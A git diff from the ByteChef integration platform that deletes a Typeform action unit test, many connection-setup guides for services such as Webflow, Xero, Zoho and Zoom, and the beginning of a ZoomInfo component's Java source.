-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Monika Kušter
- */
-class TypeformCreateEmptyFormActionTest {
-
-    private final ArgumentCaptor<Http.Body> bodyArgumentCaptor = forClass(Http.Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Http.Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ActionContext mockedActionContext = mock(ActionContext.class);
-    private final Http.Executor mockedExecutor = mock(Http.Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(TITLE, "new form", TYPE, "quiz", WORKSPACE, "url"));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedActionContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody())
-            .thenReturn(mockedObject);
-
-        Object result = TypeformCreateEmptyFormAction.perform(mockedParameters, null, mockedActionContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/forms", stringArgumentCaptor.getValue());
-        assertEquals(
-            Http.Body.of(
-                Map.of(TITLE, "new form", TYPE, "quiz", WORKSPACE, Map.of(HREF, "url")),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/urlscan/src/main/resources/connection.mdx b/server/libs/modules/components/urlscan/src/main/resources/connection.mdx
deleted file mode 100644
index 9370328b344..00000000000
--- a/server/libs/modules/components/urlscan/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,11 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://urlscan.io/user/login/.
-2. Click on Settings & API.
-3. Click on New API key.
-4. Add description and click Create API key.
-6. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/5eJLnxvAldcNtv2UWwHq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/vtiger/src/main/resources/connection.mdx b/server/libs/modules/components/vtiger/src/main/resources/connection.mdx
deleted file mode 100644
index 68e4275fee7..00000000000
--- a/server/libs/modules/components/vtiger/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,13 +0,0 @@
-## Connection Setup
-
-### Find Access Key
-
-1. Navigate to [VTiger](https://www.vtiger.com/) dashboard.
-2. Click on your account icon.
-3. Click on **My Preferences**.
-4. Here you can see your credentials.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ad9fa498-8bd3-49d8-9e44-efd6b4068af8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/webflow/src/main/resources/connection.mdx b/server/libs/modules/components/webflow/src/main/resources/connection.mdx
deleted file mode 100644
index bd89d3c827a..00000000000
--- a/server/libs/modules/components/webflow/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,28 +0,0 @@
-## Connection Setup
-
-### Create OAuth2 App
-
-1. Navigate to [Webflow](https://webflow.com) dashboard.
-2. Click on **View dashboard**.
-3. Click on your account.
-4. Click on **Workspaces**.
-5. Click on your workspace.
-6. Click on **Apps & Integrations**.
-7. Click on **Develop**.
-8. Click on **Create an App**.
-9. Enter name and app homepageU URL.
-10. Click on **Continue**.
-11. Enable **Data client (REST API)**.
-12. Enter **Redirect URI** depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-13. Add required scopes and click on **Create App**.
-14. Click this icon.
-15. Click on **Edit App**.
-16. Click on **Building blocks**.
-17. Here you can see your credentials.
-18. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/92d252f2-4843-47c4-a74b-d0b5d64ea359?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/whatsapp/src/main/resources/connection.mdx b/server/libs/modules/components/whatsapp/src/main/resources/connection.mdx
deleted file mode 100644
index 6aca67e2f34..00000000000
--- a/server/libs/modules/components/whatsapp/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-
-## Connection Setup
-
-To Obtain a Phone Number ID and a Permanent System User Access Token, follow these steps:
-
-1. Go to https://developers.facebook.com/
-2. Make a new app, Select Other for use-case.
-3. Choose Business as the type of app.
-4. Add new Product > WhatsApp.
-5. Navigate to WhatsApp Settings > API Setup.
-6. Copy the Business Account ID.
-7. Login to your [Meta Business Manager](https://business.facebook.com/).
-8. Click on Settings.
-9. Create a new System User with access over the app and copy the access token.
diff --git a/server/libs/modules/components/wolfram-alpha/wolfram-alpha-full-results/src/main/resources/connection.mdx b/server/libs/modules/components/wolfram-alpha/wolfram-alpha-full-results/src/main/resources/connection.mdx
deleted file mode 100644
index 412bf42af6f..00000000000
--- a/server/libs/modules/components/wolfram-alpha/wolfram-alpha-full-results/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-### Find App ID
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Developer (API)**.
-4. Click on **Get an App ID**.
-5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
-6. Click on **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/wolfram-alpha/wolfram-alpha-shortanswers/src/main/resources/connection.mdx b/server/libs/modules/components/wolfram-alpha/wolfram-alpha-shortanswers/src/main/resources/connection.mdx
deleted file mode 100644
index 412bf42af6f..00000000000
--- a/server/libs/modules/components/wolfram-alpha/wolfram-alpha-shortanswers/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-### Find App ID
-
-1. Navigate to your dashboard.
-2. Click this icon.
-3. Click on **Developer (API)**.
-4. Click on **Get an App ID**.
-5. Enter name, description and API. Select **DullResults API** or **Short Answers API** depending on which API you want to use.
-6. Click on **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d97ef559-0f4e-41e9-9fb1-26886d731a32?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/woocommerce/src/main/resources/connection.mdx b/server/libs/modules/components/woocommerce/src/main/resources/connection.mdx
deleted file mode 100644
index 97362de33ac..00000000000
--- a/server/libs/modules/components/woocommerce/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,27 +0,0 @@
-### Permalink Setup
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Permalinks**.
-4. Select **Post name**.
-5. Click **Save Changes**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-## Connection Setup
-
-### Find Application Passwords
-
-1. Navigate to your dashboard.
-2. Go to **WooCommerce** and click on **Settings**.
-3. Click on **Advanced**.
-4. Click on **REST API**.
-5. Select **Create an API key** or **Add Key**.
-6. Add a Description, select the User and select a level of access for this API key: Read access, Write access, or Read/Write access then click **Generate API key**.
-7. Copy generated consumer key and consumer secret and use it in Bytechef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/HmclXOZX5LsOKbyYSkzO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/wordpress/src/main/resources/connection.mdx b/server/libs/modules/components/wordpress/src/main/resources/connection.mdx
deleted file mode 100644
index d26bcb49e88..00000000000
--- a/server/libs/modules/components/wordpress/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,31 +0,0 @@
-### Permalink Setup
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Click on **Permalinks**.
-4. Select **Post name**.
-5. Click **Save Changes**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6f7f19f3-0d48-4460-929c-05a898725b0b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
-## Connection Setup
-
-### Find Application Passwords
-
-1. Navigate to your dashboard.
-2. Download the plugin from: https://github.com/WP-API/Basic-Auth (Click on Code -> Download Zip).
-3. Click on **Plugins**.
-4. Click on **Add Plugin**.
-5. Click on **Upload Plugin". And upload previously downloaded plugin in .zip format.
-6. After uploading click on **Install Now**.
-7. Click on **Activate Plugin**.
-8. Click on **Users**.
-9. Click on **Profile**.
-10. Here you can see Application Passwords.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1293d53d-453b-4fe1-9726-1b868f2ff2ee?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
diff --git a/server/libs/modules/components/wrike/src/main/resources/connection.mdx b/server/libs/modules/components/wrike/src/main/resources/connection.mdx
deleted file mode 100644
index 18ccc06a5e9..00000000000
--- a/server/libs/modules/components/wrike/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Find REST API Key
-
-1. Navigate to your dashboard.
-2. Click your account icon.
-3. Click on **Settings**.
-4. Click on **Profile**.
-5. Scroll down and click on **Open Apps & Integrations**.
-6. Click on **+App**.
-7. Enter name of your application and below you can see your OAuth credentials.
-8. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback.
-9. Click on **Save**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2805cbf0-e254-41c9-a7ad-ed1dc38c5d8c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/x/src/main/resources/connection.mdx b/server/libs/modules/components/x/src/main/resources/connection.mdx
deleted file mode 100644
index 1447fe6e1a6..00000000000
--- a/server/libs/modules/components/x/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-1. Log in to the [X developer portal](https://developer.x.com/en/portal/dashboard) and go to the **Overview** tab in your project.
-2. Click on **+ Add App**.
-3. Give your app a name (for example, `ByteChef Integration`) and select **Next**.
-4. Go to the **App Settings**.
-5. In the **User authentication settings**, select **Set Up**.
-6. Set the **App permissions** to **Read and write and Direct message**.
-7. In the **Type of app** section, select **Native App**.
-8. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-9. Add a **Website URL**. Click **Save**.
-10. Click **Yes**.
-11. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the X connection.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/fgmTMRGbY06kFYGe2Jnd?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/xero/src/main/resources/connection.mdx b/server/libs/modules/components/xero/src/main/resources/connection.mdx
deleted file mode 100644
index 5d20035ee66..00000000000
--- a/server/libs/modules/components/xero/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-Connect Xero to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Xero OAuth app
-
-1. Log in to the Xero Developer portal: [My Apps](https://developer.xero.com/app/manage) and click **New app**.
-2. Enter an app name (for example, `ByteChef Integration`) and select **Web app** as the integration type.
-3. For the Company/Application URL, enter the URL of your ByteChef server. For cloud users, for example: `https://app.bytechef.io`.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-5. Agree to the terms and click **Create app**.
-6. In **Configuration**, click **Generate a secret** to create your Client Secret.
-7. Copy your **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Xero connection.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/mQxV8zzt0Foh0yb54Drz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/zendesk/src/main/resources/connection.mdx b/server/libs/modules/components/zendesk/src/main/resources/connection.mdx
deleted file mode 100644
index 7d0f0f3a5f9..00000000000
--- a/server/libs/modules/components/zendesk/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,21 +0,0 @@
-## Connection Setup
-
-### Create API Token
-
-1. Go to your Zendesk dashboard.
-2. Click this icon.
-3. Click on **Apps and integrations**.
-4. Click on **API configuration**.
-5. Enable API token access.
-6. Click on **Save**.
-7. Click on **API tokens**.
-8. Click on **Add API token**.
-9. Enter description of the token.
-10. Click on **Save**.
-11. Click on **Copy**.
-12. Click on **Save**.
-13. Done 🚀
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0d895ef9-5822-426d-ad18-7837f1a54990?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/zenrows/src/main/resources/connection.mdx b/server/libs/modules/components/zenrows/src/main/resources/connection.mdx
deleted file mode 100644
index ede0ad476b4..00000000000
--- a/server/libs/modules/components/zenrows/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,11 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your dashboard.
-2. Click on **Settings**.
-3. Here you can see your API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2b69b7ce-2596-49d2-aeda-bb74a9c52f70?type=1&controls=on" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/zeplin/src/main/resources/connection.mdx b/server/libs/modules/components/zeplin/src/main/resources/connection.mdx
deleted file mode 100644
index c83f07798df..00000000000
--- a/server/libs/modules/components/zeplin/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-Connect Zeplin to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Zeplin OAuth app
-
-1. Log in to the Zeplin profile page and go to the [Developer tab](https://app.zeplin.io/profile/developer).
-2. Click **Create new app**.
-3. Enter an app name (for example, `ByteChef Integration`).
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Click **CREATE**.
-6. Copy **Client ID** and **Client Secret**. You will use these in ByteChef when creating the Zeplin connection.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/SGg69P7XD9vjivIbNZ1n?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/zoho/zoho-books/src/main/resources/connection.mdx b/server/libs/modules/components/zoho/zoho-books/src/main/resources/connection.mdx
deleted file mode 100644
index a37851a7417..00000000000
--- a/server/libs/modules/components/zoho/zoho-books/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-### Create organization ID
-
-1. Login to your account at https://www.zoho.com/books/.
-2. Fill in the required fields:
-    - **Organization Name**: Enter a name for your organization (e.g., `bytechef`).
-    - **Organization Location**: Choose a location for your organization.
-3. Set up your organization profile and click **Get Started**.
-4. Click on your organization and copy Organization ID.
-5. In Bytechef, choose your region based on Zoho Books domain you are using.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/NHEGbzC55jMuGk5bFpL5?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/zoho/zoho-crm/src/main/resources/connection.mdx b/server/libs/modules/components/zoho/zoho-crm/src/main/resources/connection.mdx
deleted file mode 100644
index ec74f6616e4..00000000000
--- a/server/libs/modules/components/zoho/zoho-crm/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,8 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-1. Login to your account at https://www.zoho.com/crm/.
-2. In Bytechef, choose your region based on Zoho CRM domain you are using.
diff --git a/server/libs/modules/components/zoho/zoho-invoice/src/main/resources/connection.mdx b/server/libs/modules/components/zoho/zoho-invoice/src/main/resources/connection.mdx
deleted file mode 100644
index 80caaea5042..00000000000
--- a/server/libs/modules/components/zoho/zoho-invoice/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/zoho-application-setup_v1#create-oauth-20-application).
-
-### Create organization ID
-
-1. Login to your account at https://www.zoho.com/invoice/.
-2. Fill in the required fields and click **Get Started**.
-3. Click on your organization and copy Organization ID.
-4. In Bytechef, choose your region based on Zoho Invoice domain you are using.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/sujaBEMX2zkWrFS4EIoD?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/zoom/src/main/resources/connection.mdx b/server/libs/modules/components/zoom/src/main/resources/connection.mdx
deleted file mode 100644
index 67b669367f5..00000000000
--- a/server/libs/modules/components/zoom/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Find OAuth Credentials and Add Required Scopes
-
-1. Go to [marketplace.zoom.us](https://marketplace.zoom.us/) and log in to your account.
-2. Click on Develop.
-3. Click on Build app.
-4. Select General App.
-5. Click on Create.
-6. Here you can see Client ID and Client Secret.
-7. Enter a redirect URI, e.g., http://127.0.0.1:5173/callback, https://app.bytechef.io/callback. Click Create.
-8. Go to **Scopes** from left sidebar and add **meeting:write:meeting** and **meeting:write:registrant** as scopes.`,
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/23d01159-c615-4e15-9592-edb2439c0da7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/zoominfo/build.gradle.kts b/server/libs/modules/components/zoominfo/build.gradle.kts
deleted file mode 100644
index bf2a7f56ed1..00000000000
--- a/server/libs/modules/components/zoominfo/build.gradle.kts
+++ /dev/null
@@ -1,2 +0,0 @@
-version="1.0"
-
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/ZoominfoComponentHandler.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/ZoominfoComponentHandler.java
deleted file mode 100644
index 3bb5d82dbb8..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/ZoominfoComponentHandler.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo;
-
-import static com.bytechef.component.definition.ComponentDsl.component;
-import static com.bytechef.component.definition.ComponentDsl.tool;
-
-import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.component.zoominfo.action.ZoominfoEnrichCompanyAction;
-import com.bytechef.component.zoominfo.action.ZoominfoEnrichContactAction;
-import com.bytechef.component.zoominfo.action.ZoominfoSearchCompanyAction;
-import com.bytechef.component.zoominfo.action.ZoominfoSearchContactAction;
-import com.bytechef.component.zoominfo.connection.ZoominfoConnection;
-import com.google.auto.service.AutoService;
-
-/**
- * @author Marija Horvat
- */
-@AutoService(ComponentHandler.class)
-public class ZoominfoComponentHandler implements ComponentHandler {
-
-    private static final ComponentDefinition COMPONENT_DEFINITION = component("zoominfo")
-        .title("ZoomInfo")
-        .description(
-            "ZoomInfo is a platform that provides companies with accurate contact data and sales insights to help " +
-                "them find and engage potential customers.")
-        .icon("path:assets/zoominfo.svg")
-        .categories(ComponentCategory.MARKETING_AUTOMATION)
-        .connection(ZoominfoConnection.CONNECTION_DEFINITION)
-        .clusterElements(
-            tool(ZoominfoEnrichCompanyAction.ACTION_DEFINITION),
-            tool(ZoominfoEnrichContactAction.ACTION_DEFINITION),
-            tool(ZoominfoSearchCompanyAction.ACTION_DEFINITION),
-            tool(ZoominfoSearchContactAction.ACTION_DEFINITION))
-        .actions(
-            ZoominfoEnrichCompanyAction.ACTION_DEFINITION,
-            ZoominfoEnrichContactAction.ACTION_DEFINITION,
-            ZoominfoSearchCompanyAction.ACTION_DEFINITION,
-            ZoominfoSearchContactAction.ACTION_DEFINITION);
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return COMPONENT_DEFINITION;
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyAction.java b/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyAction.java
deleted file mode 100644
index 91fe03b8b59..00000000000
--- a/server/libs/modules/components/zoominfo/src/main/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyAction.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_CITY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_COUNTRY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_PHONE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_STATE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_STREET;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_WEBSITE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ZIPCODE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.OUTPUT_FIELDS;
-import static com.bytechef.component.zoominfo.util.ZoominfoUtils.checkIfNull;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.zoominfo.util.ZoominfoUtils;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class ZoominfoEnrichCompanyAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("enrichCompany")
-        .title("Enrich Company")
-        .description("Enrich company details.")
-        .properties(
-            integer(COMPANY_ID)
-                .label("Company ID")
-                .description("Unique ZoomInfo identifier for a company.")
-                .required(true),
-            string(COMPANY_NAME)
-                .label("Company Name")
-                .description("Company name.")
-                .required(false),
-            string(COMPANY_WEBSITE)
-                .label("Company Website")
-                .description("Company website URL in http://www.example.com format.")
-                .required(false),
-            string(COMPANY_PHONE)
-                .label("Company Phone")
-                .description("Phone number of the company headquarters.")
-                .required(false),
-            string(COMPANY_STREET)
-                .label("Company Street")
-                .description("Street address for the company's primary address.")
-                .required(false),
-            string(COMPANY_CITY)
-                .label("Company City")
-                .description("City for the company's primary address.")
-                .required(false),
-            string(COMPANY_STATE)
-                .label("Company State")
-                .description("State for the company's primary address.")
-                .required(false),
-            string(COMPANY_ZIPCODE)
-                .label("Company Zip Code")
-                .description("Zip code or postal code for the company's primary address.")
-                .required(false),
-            string(COMPANY_COUNTRY)
-                .label("Company Country")
-                .description("Country for the company's primary address.")
-                .required(false),
-            array(OUTPUT_FIELDS)
-                .label("Output Fields")
-                .description("Fields you want to get from employee.")
-                .items(string())
-                .options((OptionsFunction<String>) ZoominfoUtils::getCompanyFieldOptions)
